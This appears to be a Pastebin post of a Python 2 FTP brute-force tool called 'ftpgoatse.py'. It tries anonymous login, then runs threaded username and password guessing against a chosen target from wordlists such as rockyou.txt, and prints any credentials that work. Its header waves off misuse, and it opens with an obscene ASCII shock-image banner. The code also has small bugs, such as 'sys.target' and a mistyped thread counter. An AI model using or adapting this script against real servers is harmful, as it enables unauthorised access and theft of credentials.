Advertisement
Akeyla

FTPGoatse

Dec 25th, 2016
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.39 KB | None | 0 0
  1. #!/usr/bin/python
  2. ####################################################################
  3. # By: @Akeyla420 w/ google-fu
  4. # This code is for educational purposes, GNU or someshit.
  5. # Please don't use example target, or do, idgaf, just not from my IP
  6. # ##################################################################
  7. import ftplib
  8. import sys
  9. from threading import Thread
  10. import argparse
  11.  
  12. RED="\x1B[31;40m"
  13. WHITE="\x1B[0m"
  14. YELLOW="\x1B[33;40m"
  15.  
  16. print "                    ____  ____  ____"
  17. print "                   ( ___)(_  _)(  _ \\"
  18. print "                    )__)   )(   )___/"
  19. print "                   (__)   (__) (__)"
  20. print "           ___  _____    __   ____  ___  ____"
  21. print "          / __)( " + RED + " _" + WHITE + "  )  /" + RED + "__" + WHITE + "\ (_  _)/ __)( ___)"
  22. print "         ( (_-. )" + RED + "(_)" + WHITE + "(  /" + RED + "(__)" + WHITE + "\ )(  \__ \ )__)"
  23. print "          \___/(_____)(__)(__)(__) (___/(____)"
  24. print ""
  25. print ""
  26. print "      /     \            \           /    \\"
  27. print "     |       |             \         |      |"
  28. print "     |       `.             |         |       :"
  29. print "     `        |             |        \|       |"
  30. print "      \      | /       /  \\\\\\   --__ \\\\       :"
  31. print "       \     \/   _--~~          ~--__| \    |"
  32. print "        \     \_-~                    ~-_\   |"
  33. print "         \_     \       _.--------.______\|   |"
  34. print "           \    \______/" + RED + "/ _ ___ _" + WHITE + " (_(__>  \  |"
  35. print "            \  .  C ___) " + RED + " ______" + WHITE + " (_(____>  |  /"
  36. print "            /\ |   C ____)" + RED + "/      \\" + WHITE + " (_____>  |_/"
  37. print "           / /\|   C_____)" + YELLOW + "  FTP " + RED + " |" + WHITE + "  (___>   /  \\"
  38. print "          |   (   _C_____)" + RED + "\______/  /" + WHITE + "/ _/ /     \\"
  39. print "          |    \ |__   \\" + RED + "\\_________/" + WHITE + "/ (__/       |"
  40. print "         | \   \____)   `----   --'             |"
  41. print "         |  \_          ___\      /_          _/ |"
  42. print "        |              /    |     |  \           |"
  43. print "        |             |    /       \ \          |"
  44. print "        |          / /    |         |  \          |"
  45. print "        |         / /      \__/\___/    |          |"
  46. print "       |           /        |    |       |         |"
  47. print "       |          |         |    |       |         |"
  48. print ""
  49. print ""
  50.  
  51. parser = argparse.ArgumentParser(description='ftpgoatse.py')
  52. parser.add_argument(dest="target", action="store", help="attack target")
  53. parser.add_argument(dest="userlist", action="store", help="userlist.txt")
  54. parser.add_argument(dest="wordlist", action="store", help="rockyou.txt")
  55. parser.add_argument('--threads', dest="threads", action="store", help="number of threads, default 1", default=1, type=int)
  56. args = parser.parse_args()
  57.  
  58. threadcounter = 0
  59. loginfound = 0
  60. threadlist = []
  61.  
  62. class goatse(Thread):
  63.   def __init__(self, hostname, username, password):
  64.     Thread.__init__(self)
  65.     self.hostname = hostname
  66.     self.username = username
  67.     self.password = password
  68.  
  69.   def run(self):
  70.     global loginfound
  71.     try:
  72.       ftp = ftplib.FTP(self.hostname)
  73.       ftp.login(self.username, self.password)
  74.       ftp.retrlines('list')
  75.       ftp.quit()
  76.       print "Goat Hole Found!!!"
  77.       print "User = " + self.username + ", Password = " + self.password
  78.       loginfound = 1
  79.     except Exception, e:
  80.       print "Failed: User = " + self.username + ", Password = " + self.password
  81.  
  82. print "Searching for the gaping hole..."
  83.  
  84. print "Attempting anonymous login to " + args.target
  85. try:
  86.   ftp = ftplib.FTP(sys.target)
  87.   ftp.login("anonymous", "anonymous")
  88.   ftp.retrlines('list')
  89.   ftp.quit()
  90.   print "Anonymous login successful!"
  91.   print "User = anonymous, password = anonymous"
  92.   quit()
  93. except Exception, e:
  94.   print "Anonymous login unsuccessful"
  95.  
  96. users = open(args.userlist, 'r')
  97. for user in users:
  98.   passwords = open(args.wordlist, 'r')
  99.   for password in passwords:
  100.     thread = goatse(args.target.rstrip(), user.rstrip(), password.rstrip())
  101.     thread.start()
  102.     threadlist.append(thread)
  103.     threadcounter += 1
  104.     if threadcounter == args.threads:
  105.       for t in threadlist:
  106.         t.join()
  107.       if loginfound == 1:
  108.         exit(0)
  109.       threadcount = 0
  110.                                                                                                     1,1           To
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement